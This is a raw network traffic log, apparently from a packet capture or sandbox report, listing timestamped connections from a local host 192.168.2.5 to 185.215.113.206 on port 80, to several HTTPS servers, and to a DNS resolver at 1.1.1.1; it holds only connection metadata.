Nov 12, 2024 08:30:37.350223064 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.350265980 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.350296021 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.350307941 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.350337982 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.350347996 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.350374937 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.350403070 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.350434065 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.350445032 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.350472927 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.350483894 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.350533009 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.350533009 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.350604057 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.350615978 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.350713968 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.350742102 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.350766897 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.350778103 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.350817919 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.350845098 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.350853920 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.350866079 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.350970030 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.350980043 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.350991964 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.351030111 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.351030111 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.351341963 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.351392984 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.351404905 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.351488113 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.351490974 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.351504087 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.351524115 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.351524115 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.351567030 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.351581097 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.351593018 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.351625919 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.351625919 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.351653099 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.351671934 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.351731062 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.351774931 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.351787090 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.351809978 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.352119923 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.352171898 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.352184057 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.352209091 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.352274895 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.352286100 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.352288961 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.352297068 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.352349997 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.352351904 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.352390051 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.352453947 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.352473974 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.352483988 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.352561951 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.352606058 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.352617979 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.352642059 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.352678061 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.352715969 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.352729082 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.352739096 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.352792978 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.356976032 CET	49873	443	192.168.2.5	20.99.186.246
Nov 12, 2024 08:30:37.356985092 CET	443	49873	20.99.186.246	192.168.2.5
Nov 12, 2024 08:30:37.357296944 CET	49873	443	192.168.2.5	20.99.186.246
Nov 12, 2024 08:30:37.357338905 CET	443	49873	20.99.186.246	192.168.2.5
Nov 12, 2024 08:30:37.357474089 CET	49873	443	192.168.2.5	20.99.186.246
Nov 12, 2024 08:30:37.357476950 CET	443	49873	20.99.186.246	192.168.2.5
Nov 12, 2024 08:30:37.357507944 CET	49873	443	192.168.2.5	20.99.186.246
Nov 12, 2024 08:30:37.362215042 CET	443	49881	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.362236023 CET	443	49881	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.362243891 CET	443	49881	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.362278938 CET	49881	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.362288952 CET	443	49881	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.362317085 CET	443	49881	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.362324953 CET	49881	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.362346888 CET	49881	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.362629890 CET	57068	443	192.168.2.5	20.99.186.246
Nov 12, 2024 08:30:37.362637997 CET	443	57068	20.99.186.246	192.168.2.5
Nov 12, 2024 08:30:37.362687111 CET	57068	443	192.168.2.5	20.99.186.246
Nov 12, 2024 08:30:37.362925053 CET	57068	443	192.168.2.5	20.99.186.246
Nov 12, 2024 08:30:37.362936974 CET	443	57068	20.99.186.246	192.168.2.5
Nov 12, 2024 08:30:37.364063978 CET	49881	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.364073992 CET	443	49881	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.368381023 CET	443	49884	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:37.368710995 CET	49884	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:37.368721962 CET	443	49884	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:37.369041920 CET	443	49884	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:37.369476080 CET	49884	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:37.369529009 CET	443	49884	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:37.369688988 CET	49884	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:37.388413906 CET	49882	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.388421059 CET	443	49882	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.408325911 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.408334970 CET	443	49885	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.408767939 CET	49885	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:37.408787966 CET	443	49885	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.409209013 CET	49885	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:37.409213066 CET	443	49885	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.411329031 CET	443	49884	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:37.413042068 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.421202898 CET	443	49874	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.421559095 CET	49874	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:37.421582937 CET	443	49874	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.421957970 CET	49874	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:37.421962023 CET	443	49874	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.437686920 CET	443	49877	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.439621925 CET	443	49876	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.439683914 CET	443	49876	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.439821959 CET	49876	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:37.439853907 CET	49876	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:37.439866066 CET	443	49876	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.439881086 CET	49876	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:37.439886093 CET	443	49876	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.440484047 CET	443	49879	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.440504074 CET	443	49879	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.440516949 CET	443	49879	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.440568924 CET	49879	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.440584898 CET	443	49879	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.440598965 CET	49879	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.440618992 CET	49879	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.441493988 CET	443	49877	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.443308115 CET	57069	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:37.443347931 CET	443	57069	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.443356037 CET	49877	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:37.443412066 CET	57069	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:37.443579912 CET	57069	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:37.443588972 CET	443	57069	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.443726063 CET	49877	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:37.443737030 CET	443	49877	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.443788052 CET	49877	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:37.443793058 CET	443	49877	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.447463036 CET	443	49879	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.447478056 CET	443	49879	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.447510958 CET	443	49879	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.447542906 CET	49879	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.447549105 CET	443	49879	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.447583914 CET	49879	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.467737913 CET	57070	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:37.467793941 CET	443	57070	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.467936039 CET	57070	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:37.468689919 CET	57070	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:37.468702078 CET	443	57070	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.481120110 CET	443	49882	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.481132030 CET	443	49882	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.481163025 CET	443	49882	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.481178999 CET	443	49882	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.481187105 CET	443	49882	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.481221914 CET	49882	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.481221914 CET	49882	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.481234074 CET	443	49882	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.481245041 CET	443	49882	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.481255054 CET	443	49875	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.481272936 CET	49882	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.481579065 CET	443	49875	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.484601021 CET	49875	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:37.484720945 CET	49875	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:37.484739065 CET	443	49875	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.484750986 CET	49875	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:37.484755993 CET	443	49875	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.486915112 CET	57071	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:37.486939907 CET	443	57071	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.487169027 CET	443	49882	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.487175941 CET	443	49882	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.487215996 CET	57071	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:37.487234116 CET	443	49882	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.487270117 CET	49882	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.487270117 CET	49882	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.487787962 CET	57071	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:37.487804890 CET	443	57071	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.487930059 CET	49882	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.487936974 CET	443	49882	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.498038054 CET	443	49884	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:37.498114109 CET	443	49884	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:37.498292923 CET	49884	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:37.499100924 CET	49884	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:37.499110937 CET	443	49884	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:37.537632942 CET	443	49870	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:37.538182974 CET	49870	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:37.538238049 CET	443	49870	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:37.538305044 CET	49870	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:37.538393021 CET	443	49885	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.538590908 CET	443	49885	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.538717985 CET	49885	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:37.542088985 CET	49885	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:37.542125940 CET	443	49885	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.542179108 CET	49885	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:37.542187929 CET	443	49885	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.544819117 CET	57072	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:37.544853926 CET	443	57072	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.545101881 CET	57072	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:37.545272112 CET	57072	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:37.545278072 CET	443	57072	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.550278902 CET	443	49874	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.550512075 CET	443	49874	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.550559044 CET	49874	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:37.550590992 CET	49874	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:37.550590992 CET	49874	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:37.550604105 CET	443	49874	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.550614119 CET	443	49874	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.552668095 CET	57073	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:37.552696943 CET	443	57073	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.552763939 CET	57073	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:37.552911043 CET	57073	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:37.552925110 CET	443	57073	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:37.557894945 CET	443	49879	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.557918072 CET	443	49879	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.557976007 CET	49879	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.557984114 CET	443	49879	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.558024883 CET	49879	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.563886881 CET	443	49879	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.563925982 CET	443	49879	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.563951969 CET	49879	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.563960075 CET	443	49879	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.563971043 CET	443	49879	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.563988924 CET	49879	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.564013004 CET	49879	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.564240932 CET	49879	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:37.564249039 CET	443	49879	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:37.607979059 CET	443	49888	3.170.115.68	192.168.2.5
Nov 12, 2024 08:30:37.608645916 CET	49888	443	192.168.2.5	3.170.115.68
Nov 12, 2024 08:30:37.608661890 CET	443	49888	3.170.115.68	192.168.2.5
Nov 12, 2024 08:30:37.609034061 CET	443	49888	3.170.115.68	192.168.2.5
Nov 12, 2024 08:30:37.612831116 CET	49888	443	192.168.2.5	3.170.115.68
Nov 12, 2024 08:30:37.612895966 CET	443	49888	3.170.115.68	192.168.2.5
Nov 12, 2024 08:30:37.613614082 CET	49888	443	192.168.2.5	3.170.115.68
Nov 12, 2024 08:30:37.659322023 CET	443	49888	3.170.115.68	192.168.2.5
Nov 12, 2024 08:30:37.673818111 CET	53	57062	1.1.1.1	192.168.2.5
Nov 12, 2024 08:30:37.674364090 CET	57062	53	192.168.2.5	1.1.1.1
Nov 12, 2024 08:30:37.676299095 CET	57074	443	192.168.2.5	152.195.19.97
Nov 12, 2024 08:30:37.676331043 CET	443	57074	152.195.19.97	192.168.2.5
Nov 12, 2024 08:30:37.676443100 CET	57074	443	192.168.2.5	152.195.19.97
Nov 12, 2024 08:30:37.676610947 CET	57074	443	192.168.2.5	152.195.19.97
Nov 12, 2024 08:30:37.676624060 CET	443	57074	152.195.19.97	192.168.2.5
Nov 12, 2024 08:30:37.679624081 CET	53	57062	1.1.1.1	192.168.2.5
Nov 12, 2024 08:30:37.679676056 CET	57062	53	192.168.2.5	1.1.1.1
Nov 12, 2024 08:30:37.683082104 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.683147907 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.683161974 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.683172941 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.683219910 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.683224916 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.683238029 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.683248997 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.683331013 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.683363914 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.683376074 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.683387041 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.683424950 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.683461905 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.683490038 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.683501005 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.683511019 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.683522940 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.683545113 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.683545113 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.683600903 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.683712959 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.683725119 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.683799028 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.683868885 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.683881044 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.683892965 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.683903933 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.683916092 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.683928967 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.683931112 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.683940887 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.683954954 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.683984995 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.684173107 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.684185028 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.684197903 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.684268951 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.684305906 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.684317112 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.684330940 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.684355974 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.684393883 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.684425116 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.684437990 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.684448957 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.684459925 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.684472084 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.684484005 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.684492111 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.684497118 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.684508085 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.684508085 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.684520960 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.684533119 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.684540033 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.684566021 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.684566021 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.684932947 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.684947014 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.684959888 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.684968948 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.684987068 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.684998035 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.685026884 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.685113907 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.685125113 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.685137033 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:37.685174942 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.685213089 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:37.694922924 CET	443	49887	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:37.696835041 CET	49887	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:37.696862936 CET	443	49887	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:37.697222948 CET	443	49887	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:37.697535992 CET	49887	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:37.697598934 CET	443	49887	13.107.246.57	192.168.2.5
Nov 12, 2024 08:30:37.698206902 CET	49887	443	192.168.2.5	13.107.246.57
Nov 12, 2024 08:30:37.726594925 CET	57075	443	192.168.2.5	23.198.7.180
Nov 12, 2024 08:30:37.726636887 CET	443	57075	23.198.7.180	192.168.2.5
Nov 12, 2024 08:30:37.726708889 CET	57075	443	192.168.2.5	23.198.7.180
Nov 12, 2024 08:30:37.726972103 CET	57076	443	192.168.2.5	23.198.7.180
Nov 12, 2024 08:30:37.726994991 CET	443	57076	23.198.7.180	192.168.2.5
Nov 12, 2024 08:30:37.727157116 CET	57076	443	192.168.2.5	23.198.7.180
Nov 12, 2024 08:30:37.728950977 CET	57075	443	192.168.2.5	23.198.7.180
Nov 12, 2024 08:30:37.728961945 CET	443	57075	23.198.7.180	192.168.2.5
Nov 12, 2024 08:30:37.729281902 CET	57077	443	192.168.2.5	204.79.197.219
Nov 12, 2024 08:30:37.729302883 CET	443	57077	204.79.197.219	192.168.2.5
Nov 12, 2024 08:30:37.729358912 CET	57077	443	192.168.2.5	204.79.197.219
Nov 12, 2024 08:30:37.729470015 CET	57076	443	192.168.2.5	23.198.7.180
Nov 12, 2024 08:30:37.729480982 CET	443	57076	23.198.7.180	192.168.2.5
Nov 12, 2024 08:30:37.730629921 CET	57077	443	192.168.2.5	204.79.197.219
Nov 12, 2024 08:30:37.730643034 CET	443	57077	204.79.197.219	192.168.2.5
Nov 12, 2024 08:30:37.731456041 CET	57078	443	192.168.2.5	204.79.197.219
Nov 12, 2024 08:30:37.731467962 CET	443	57078	204.79.197.219	192.168.2.5
Nov 12, 2024 08:30:37.731524944 CET	57078	443	192.168.2.5	204.79.197.219
